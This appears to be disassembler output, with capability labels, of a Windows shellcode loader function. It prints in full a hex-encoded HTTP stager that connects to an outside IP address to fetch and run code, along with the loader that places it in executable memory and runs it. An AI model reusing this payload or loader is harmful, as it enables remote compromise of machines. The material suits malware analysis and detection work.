Function at 0x401080
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
xor ecx, ecx
push ebx
push esi
push edi
mov esi, 0x7ec
cmp byte [ecx + str._fc_e8_8f_00_00_00_60_31_d2_64_8b_52_30_89_e5_8b_52_0c_8b_52_14_0f_b7_4a_26_31_ff_8b_72_28_31_c0_ac_3c_61_7c_02_2c_20_c1_cf_0d_01_c7_49_75_ef_52_8b_52_10_57_8b_42_3c_01_d0_8b_40_78_85_c0_74_4c_01_d0_50_8b_58_20_8b_48_18_01_d3_85_c9_74_3c_31_ff_49_8b_34_8b_01_d6_31_c0_c1_cf_0d_ac_01_c7_38_e0_75_f4_03_7d_f8_3b_7d_24_75_e0_58_8b_58_24_01_d3_66_8b_0c_4b_8b_58_1c_01_d3_8b_04_8b_01_d0_89_44_24_24_5b_5b_61_59_5a_51_ff_e0_58_5f_5a_8b_12_e9_80_ff_ff_ff_5d_68_6e_65_74_00_68_77_69_6e_69_54_68_4c_77_26_07_ff_d5_31_db_53_53_53_53_53_e8_6e_00_00_00_4d_6f_7a_69_6c_6c_61_2f_35_2e_30_20_28_57_69_6e_64_6f_77_73_20_4e_54_20_36_2e_31_3b_20_57_4f_57_36_34_29_20_41_70_70_6c_65_57_65_62_4b_69_74_2f_35_33_37_2e_33_36_20_28_4b_48_54_4d_4c_2c_20_6c_69_6b_65_20_47_65_63_6b_6f_29_20_43_68_72_6f_6d_65_2f_35_38_2e_30_2e_33_30_32_39_2e_31_31_30_20_53_61_66_61_72_69_2f_35_33_37_2e_33_36_00_68_3a_56_79_a7_ff_d5_53_53_6a_03_53_53_6a_50_e8_4f_01_00_00_2f_42_65_55_66_6f_75_55_4d_2f_6d_53_56_58_33_55_56_32_50_70_68_71_43_57_73_49_44_4a_74_49_52_77_31_35_6b_76_78_32_67_31_56_33_75_39_47_54_76_66_32_4e_67_35_44_6d_6f_61_35_64_4f_5f_4b_6a_4e_6f_52_62_43_6a_64_37_52_6b_77_30_32_57_49_41_62_6b_49_69_61_31_56_71_39_56_64_70_56_71_35_64_75_66_4e_4d_45_55_78_66_75_32_44_65_58_7a_55_4f_52_79_6b_47_73_43_6f_47_4a_47_70_47_6a_4c_35_44_50_64_6e_51_47_33_47_57_63_53_5a_55_4b_33_6c_54_54_32_51_78_5a_35_65_37_6f_43_56_6c_63_61_51_76_6e_43_46_33_36_63_46_70_7a_79_52_6a_41_63_57_68_74_4e_46_49_79_66_6d_66_6d_66_64_34_53_6d_77_62_5a_78_34_53_57_79_31_4d_4b_4d_4c_47_31_75_77_71_4e_49_30_61_6b_00_50_68_57_89_9f_c6_ff_d5_89_c6_53_68_00_02_68_84_53_53_53_57_53_56_68_eb_55_2e_3b_ff_d5_96_6a_0a_5f_53_53_53_53_56_68_2d_06_18_7b_ff_d5_85_c0_75_14_68_88_13_00_00_68_44_f0_35_e0_ff_d5_4f_75_e1_e8_4b_00_00_00_6a_40_68_00_10_00_00_68_00_00_40_00_53_68_58_a4_53_e5_ff_d5_93_53_53_89_e7_57_68_00_20_00_00_53_56_68_12_96_89_e2_ff_d5_85_c0_74_cf_8b_07_01_c3_85_c0_75_e5_58_c3_5f_e8_7f_ff_ff_ff_31_30_32_2e_32_31_35_2e_32_33_31_2e_33_32_00_bb_f0_b5_a2_56_6a_00_53_ff_d5], 0x5f
lea eax, [esi - 1]
cmovne eax, esi
inc ecx
mov esi, eax
cmp ecx, 0x7ec
jb 0x401090
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add eax, 1
mov ecx, 0xffffffff
cmovb eax, ecx
push eax
call edi
mov ebx, eax
add esp, 4
mov dword [ebp - 8], ebx
test ebx, ebx
jne 0x4010dd
push 0x402118
call fcn.00401020
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
xor eax, eax
mov ecx, ebx
mov dl, byte [eax + str._fc_e8_8f_00_00_00_60_31_d2_64_8b_52_30_89_e5_8b_52_0c_8b_52_14_0f_b7_4a_26_31_ff_8b_72_28_31_c0_ac_3c_61_7c_02_2c_20_c1_cf_0d_01_c7_49_75_ef_52_8b_52_10_57_8b_42_3c_01_d0_8b_40_78_85_c0_74_4c_01_d0_50_8b_58_20_8b_48_18_01_d3_85_c9_74_3c_31_ff_49_8b_34_8b_01_d6_31_c0_c1_cf_0d_ac_01_c7_38_e0_75_f4_03_7d_f8_3b_7d_24_75_e0_58_8b_58_24_01_d3_66_8b_0c_4b_8b_58_1c_01_d3_8b_04_8b_01_d0_89_44_24_24_5b_5b_61_59_5a_51_ff_e0_58_5f_5a_8b_12_e9_80_ff_ff_ff_5d_68_6e_65_74_00_68_77_69_6e_69_54_68_4c_77_26_07_ff_d5_31_db_53_53_53_53_53_e8_6e_00_00_00_4d_6f_7a_69_6c_6c_61_2f_35_2e_30_20_28_57_69_6e_64_6f_77_73_20_4e_54_20_36_2e_31_3b_20_57_4f_57_36_34_29_20_41_70_70_6c_65_57_65_62_4b_69_74_2f_35_33_37_2e_33_36_20_28_4b_48_54_4d_4c_2c_20_6c_69_6b_65_20_47_65_63_6b_6f_29_20_43_68_72_6f_6d_65_2f_35_38_2e_30_2e_33_30_32_39_2e_31_31_30_20_53_61_66_61_72_69_2f_35_33_37_2e_33_36_00_68_3a_56_79_a7_ff_d5_53_53_6a_03_53_53_6a_50_e8_4f_01_00_00_2f_42_65_55_66_6f_75_55_4d_2f_6d_53_56_58_33_55_56_32_50_70_68_71_43_57_73_49_44_4a_74_49_52_77_31_35_6b_76_78_32_67_31_56_33_75_39_47_54_76_66_32_4e_67_35_44_6d_6f_61_35_64_4f_5f_4b_6a_4e_6f_52_62_43_6a_64_37_52_6b_77_30_32_57_49_41_62_6b_49_69_61_31_56_71_39_56_64_70_56_71_35_64_75_66_4e_4d_45_55_78_66_75_32_44_65_58_7a_55_4f_52_79_6b_47_73_43_6f_47_4a_47_70_47_6a_4c_35_44_50_64_6e_51_47_33_47_57_63_53_5a_55_4b_33_6c_54_54_32_51_78_5a_35_65_37_6f_43_56_6c_63_61_51_76_6e_43_46_33_36_63_46_70_7a_79_52_6a_41_63_57_68_74_4e_46_49_79_66_6d_66_6d_66_64_34_53_6d_77_62_5a_78_34_53_57_79_31_4d_4b_4d_4c_47_31_75_77_71_4e_49_30_61_6b_00_50_68_57_89_9f_c6_ff_d5_89_c6_53_68_00_02_68_84_53_53_53_57_53_56_68_eb_55_2e_3b_ff_d5_96_6a_0a_5f_53_53_53_53_56_68_2d_06_18_7b_ff_d5_85_c0_75_14_68_88_13_00_00_68_44_f0_35_e0_ff_d5_4f_75_e1_e8_4b_00_00_00_6a_40_68_00_10_00_00_68_00_00_40_00_53_68_58_a4_53_e5_ff_d5_93_53_53_89_e7_57_68_00_20_00_00_53_56_68_12_96_89_e2_ff_d5_85_c0_74_cf_8b_07_01_c3_85_c0_75_e5_58_c3_5f_e8_7f_ff_ff_ff_31_30_32_2e_32_31_35_2e_32_33_31_2e_33_32_00_bb_f0_b5_a2_56_6a_00_53_ff_d5]
cmp dl, 0x5f
je 0x4010ef
mov byte [ecx], dl
inc ecx
inc eax
cmp eax, 0x7ec
jb 0x4010e1
mov byte [ebx + esi], 0
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401100
sub esi, ecx
shr esi, 1
push esi
call edi
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
jne 0x401134
push 0x402118
call fcn.00401020
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 8
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
xor edi, edi
test esi, esi
je 0x401164
nop word [eax + eax]
add eax, edi
push eax
push str._2hhx
push ebx
call fcn.00401050
add esp, 0xc
cmp eax, 1
jne 0x40119e
mov eax, dword [ebp - 4]
inc edi
add ebx, 2
cmp edi, esi
jb 0x401140
mov ebx, dword [ebp - 8]
push 0x40
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x4011b3
push 0x402118
call fcn.00401020
mov esi, dword [ebp - 4]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call esi
push ebx
call esi
add esp, 0xc
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0x402130
call fcn.00401020
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push esi
mov esi, dword [ebp - 4]
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call esi
push ebx
call esi
add esp, 0x14
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret